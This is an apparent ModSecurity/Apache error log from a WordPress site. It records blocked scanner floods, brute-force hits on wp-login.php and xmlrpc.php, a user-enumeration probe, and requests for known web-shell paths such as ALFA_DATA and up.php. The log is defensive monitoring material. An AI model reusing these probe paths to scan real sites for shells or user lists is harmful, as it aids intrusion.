[Thu May 14 15:28:15.423890 2026] [:error] [pid 11582:tid 11640] [client 79.137.67.84:50862] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "agV5j_uw2cmFDpGcKhAghgAAAE8"]
[Thu May 14 15:28:17.415295 2026] [:error] [pid 11690:tid 11714] [client 79.137.67.84:50866] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "agV5kSnxWuLN8Hptw8kNMwAAAM8"]
[Thu May 14 15:28:19.273593 2026] [:error] [pid 11690:tid 11715] [client 79.137.67.84:36904] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "agV5kynxWuLN8Hptw8kNOwAAANA"]
[Thu May 14 15:28:21.278708 2026] [:error] [pid 11690:tid 11718] [client 79.137.67.84:36910] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "agV5lSnxWuLN8Hptw8kNQQAAANM"]
[Thu May 14 15:28:23.289153 2026] [:error] [pid 63033:tid 63040] [client 79.137.67.84:36920] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "agV5l1MY49UWn5BpqVbfAQAAAQU"]
[Thu May 14 15:28:25.282437 2026] [:error] [pid 47721:tid 47739] [client 79.137.67.84:36934] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "agV5mXEmh7_G0hfOa6va5QAAAZA"]
[Thu May 14 15:28:27.298125 2026] [:error] [pid 11588:tid 11657] [client 79.137.67.84:36940] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "agV5m9Ur21rOixkeGKZ_ygAAAIU"]
[Thu May 14 15:28:29.308826 2026] [:error] [pid 47721:tid 47725] [client 79.137.67.84:46460] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "agV5nXEmh7_G0hfOa6vbEgAAAYI"]
[Thu May 14 15:28:31.300031 2026] [:error] [pid 47721:tid 47737] [client 79.137.67.84:46472] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "agV5n3Emh7_G0hfOa6vbGgAAAY4"]
[Thu May 14 15:28:33.314489 2026] [:error] [pid 11588:tid 11654] [client 79.137.67.84:46474] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "agV5odUr21rOixkeGKZ_0QAAAII"]
[Thu May 14 15:28:35.310261 2026] [:error] [pid 47721:tid 47741] [client 79.137.67.84:46480] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "agV5o3Emh7_G0hfOa6vbIQAAAZI"]
[Thu May 14 15:28:37.318793 2026] [:error] [pid 11581:tid 11607] [client 79.137.67.84:46492] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "agV5pf0vF48FbzpvQMXGpgAAAAo"]
[Thu May 14 15:28:39.329814 2026] [:error] [pid 11588:tid 11660] [client 79.137.67.84:49186] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "agV5p9Ur21rOixkeGKZ_2gAAAIg"]
[Thu May 14 16:02:01.752706 2026] [:error] [pid 47673:tid 47683] [client 129.226.151.24:45548] [client 129.226.151.24] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "agWBefCGe4cIn3sh5k0SoQAAAUg"]
[Thu May 14 16:21:28.169306 2026] [:error] [pid 47721:tid 47740] [client 134.209.100.212:60648] [client 134.209.100.212] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.209.100.212, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agWGCHEmh7_G0hfOa6vl2AAAAZE"]
[Thu May 14 16:21:29.766496 2026] [:error] [pid 47721:tid 47734] [client 134.209.100.212:60648] [client 134.209.100.212] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.209.100.212, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agWGCXEmh7_G0hfOa6vl2QAAAYs"], referer: https://gigfragments.org/wp-login.php
[Thu May 14 16:35:37.856564 2026] [:error] [pid 47721:tid 47744] [client 103.28.36.220:36382] [client 103.28.36.220] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.28.36.220, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agWJWXEmh7_G0hfOa6vnuQAAAZU"]
[Thu May 14 16:35:39.775681 2026] [:error] [pid 47721:tid 47733] [client 103.28.36.220:36382] [client 103.28.36.220] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.28.36.220, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agWJW3Emh7_G0hfOa6vnwgAAAYo"], referer: https://gigfragments.org/wp-login.php
[Thu May 14 16:50:45.118532 2026] [:error] [pid 47721:tid 47744] [client 208.68.37.246:40548] [client 208.68.37.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.68.37.246, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agWM5XEmh7_G0hfOa6vqgQAAAZU"]
[Thu May 14 16:50:46.768462 2026] [:error] [pid 47721:tid 47729] [client 208.68.37.246:40548] [client 208.68.37.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.68.37.246, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agWM5nEmh7_G0hfOa6vqhAAAAYY"], referer: https://gigfragments.org/wp-login.php
[Thu May 14 17:05:58.108846 2026] [:error] [pid 11581:tid 11598] [client 165.22.213.150:39850] [client 165.22.213.150] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.22.213.150, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agWQdv0vF48FbzpvQMXayQAAAAE"]
[Thu May 14 17:05:59.909864 2026] [:error] [pid 11581:tid 11608] [client 165.22.213.150:39850] [client 165.22.213.150] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.22.213.150, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agWQd_0vF48FbzpvQMXazgAAAAs"], referer: https://gigfragments.org/wp-login.php
[Thu May 14 17:22:19.014139 2026] [:error] [pid 11581:tid 11601] [client 183.82.119.148:56646] [client 183.82.119.148] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 183.82.119.148, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agWUS_0vF48FbzpvQMXfAgAAAAQ"]
[Thu May 14 17:22:29.574207 2026] [:error] [pid 11581:tid 11598] [client 183.82.119.148:57049] [client 183.82.119.148] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 183.82.119.148, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agWUVf0vF48FbzpvQMXfMAAAAAE"]
[Thu May 14 17:22:40.195631 2026] [:error] [pid 11581:tid 11616] [client 183.82.119.148:57393] [client 183.82.119.148] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 183.82.119.148, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agWUYP0vF48FbzpvQMXfQAAAABM"]
[Thu May 14 17:22:51.003972 2026] [:error] [pid 11690:tid 11699] [client 183.82.119.148:57741] [client 183.82.119.148] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 183.82.119.148, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agWUaynxWuLN8Hptw8kZfQAAAMA"]
[Thu May 14 17:23:01.734203 2026] [:error] [pid 11690:tid 11701] [client 183.82.119.148:58088] [client 183.82.119.148] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 183.82.119.148, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agWUdSnxWuLN8Hptw8kZgAAAAMI"]
[Thu May 14 18:19:14.821604 2026] [:error] [pid 11588:tid 11674] [client 110.224.198.60:62786] [client 110.224.198.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 110.224.198.60, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agWhotUr21rOixkeGKaaXgAAAJY"]
[Thu May 14 18:25:25.029597 2026] [:error] [pid 11690:tid 11700] [client 110.224.198.60:50716] [client 110.224.198.60] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "agWjFSnxWuLN8Hptw8kilQAAAME"]
[Thu May 14 18:26:16.198868 2026] [:error] [pid 11588:tid 11662] [client 3.77.129.9:52336] [client 3.77.129.9] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.77.129.9, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agWjSNUr21rOixkeGKaazAAAAIo"]
[Thu May 14 18:26:17.911907 2026] [:error] [pid 11588:tid 11657] [client 3.77.129.9:52336] [client 3.77.129.9] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.77.129.9, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agWjSdUr21rOixkeGKaazgAAAIU"], referer: https://gigfragments.org/wp-login.php
[Thu May 14 18:26:22.057408 2026] [:error] [pid 11581:tid 11613] [client 110.224.198.60:51436] [client 110.224.198.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 110.224.198.60, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agWjTv0vF48FbzpvQMX3bAAAABA"]
[Thu May 14 18:27:03.470897 2026] [:error] [pid 63033:tid 63037] [client 110.224.198.60:52121] [client 110.224.198.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 110.224.198.60, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agWjd1MY49UWn5BpqVbwfQAAAQI"]
[Thu May 14 18:27:40.964670 2026] [:error] [pid 63033:tid 63053] [client 110.224.198.60:52737] [client 110.224.198.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 110.224.198.60, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agWjnFMY49UWn5BpqVbwuAAAARI"]
[Thu May 14 18:28:15.606989 2026] [:error] [pid 11581:tid 11613] [client 110.224.198.60:53263] [client 110.224.198.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 110.224.198.60, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agWjv_0vF48FbzpvQMX4UwAAABA"]
[Thu May 14 18:33:39.886290 2026] [:error] [pid 11581:tid 11613] [client 2.58.56.137:50609] [client 2.58.56.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "agWlA_0vF48FbzpvQMX55gAAABA"], referer: www.google.com
[Thu May 14 18:33:39.930512 2026] [:error] [pid 11581:tid 11597] [client 2.58.56.137:62923] [client 2.58.56.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/fix/up.php"] [unique_id "agWlA_0vF48FbzpvQMX57AAAAAA"]
[Thu May 14 18:33:39.934386 2026] [:error] [pid 11581:tid 11612] [client 2.58.56.137:62918] [client 2.58.56.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "agWlA_0vF48FbzpvQMX57QAAAA8"], referer: www.google.com
[Thu May 14 18:33:39.936815 2026] [:error] [pid 11581:tid 11605] [client 2.58.56.137:51994] [client 2.58.56.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-plain.php"] [unique_id "agWlA_0vF48FbzpvQMX57gAAAAg"], referer: www.google.com
[Thu May 14 18:33:39.938618 2026] [:error] [pid 11581:tid 11607] [client 2.58.56.137:52916] [client 2.58.56.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agWlA_0vF48FbzpvQMX57wAAAAo"]
[Thu May 14 18:33:40.564228 2026] [:error] [pid 11588:tid 11673] [client 2.58.56.137:52241] [client 2.58.56.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "agWlBNUr21rOixkeGKab-wAAAJU"], referer: www.google.com
[Thu May 14 18:33:40.569198 2026] [:error] [pid 63033:tid 63045] [client 2.58.56.137:53860] [client 2.58.56.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/fix/up.php"] [unique_id "agWlBFMY49UWn5BpqVbxdQAAAQo"]
[Thu May 14 18:33:40.569735 2026] [:error] [pid 47673:tid 47687] [client 2.58.56.137:52618] [client 2.58.56.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-plain.php"] [unique_id "agWlBPCGe4cIn3sh5k0e3wAAAUw"], referer: www.google.com
[Thu May 14 18:33:40.570871 2026] [:error] [pid 47673:tid 47675] [client 2.58.56.137:51734] [client 2.58.56.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agWlBPCGe4cIn3sh5k0e4AAAAUA"]
[Thu May 14 18:33:41.564887 2026] [:error] [pid 11588:tid 11654] [client 2.58.56.137:52547] [client 2.58.56.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "agWlBdUr21rOixkeGKacCAAAAII"], referer: www.google.com
[Thu May 14 18:33:41.949756 2026] [:error] [pid 11581:tid 11611] [client 2.58.56.137:59506] [client 2.58.56.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "agWlBf0vF48FbzpvQMX6HQAAAA4"], referer: www.google.com
[Thu May 14 18:33:41.952160 2026] [:error] [pid 47721:tid 47735] [client 2.58.56.137:57435] [client 2.58.56.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/fix/up.php"] [unique_id "agWlBXEmh7_G0hfOa6sAXgAAAYw"]
[Thu May 14 18:33:41.952672 2026] [:error] [pid 47721:tid 47725] [client 2.58.56.137:55409] [client 2.58.56.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-plain.php"] [unique_id "agWlBXEmh7_G0hfOa6sAXwAAAYI"], referer: www.google.com
[Thu May 14 18:33:41.952684 2026] [:error] [pid 11581:tid 11597] [client 2.58.56.137:52796] [client 2.58.56.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agWlBf0vF48FbzpvQMX6HgAAAAA"]
[Thu May 14 18:33:42.294832 2026] [:error] [pid 47721:tid 47723] [client 2.58.56.137:55529] [client 2.58.56.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "agWlBnEmh7_G0hfOa6sAagAAAYA"], referer: www.google.com
[Thu May 14 18:33:43.022873 2026] [:error] [pid 11581:tid 11618] [client 2.58.56.137:65242] [client 2.58.56.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "agWlB_0vF48FbzpvQMX6PQAAABU"], referer: www.google.com
[Thu May 14 18:33:43.357244 2026] [:error] [pid 11581:tid 11618] [client 2.58.56.137:49527] [client 2.58.56.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-plain.php"] [unique_id "agWlB_0vF48FbzpvQMX6TAAAABU"], referer: www.google.com
[Thu May 14 18:33:43.358297 2026] [:error] [pid 11581:tid 11611] [client 2.58.56.137:61993] [client 2.58.56.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/fix/up.php"] [unique_id "agWlB_0vF48FbzpvQMX6TwAAAA4"]
[Thu May 14 18:33:43.358706 2026] [:error] [pid 11581:tid 11608] [client 2.58.56.137:60464] [client 2.58.56.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "agWlB_0vF48FbzpvQMX6UAAAAAs"], referer: www.google.com
[Thu May 14 18:33:43.358917 2026] [:error] [pid 11581:tid 11611] [client 2.58.56.137:63366] [client 2.58.56.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agWlB_0vF48FbzpvQMX6UQAAAA4"]
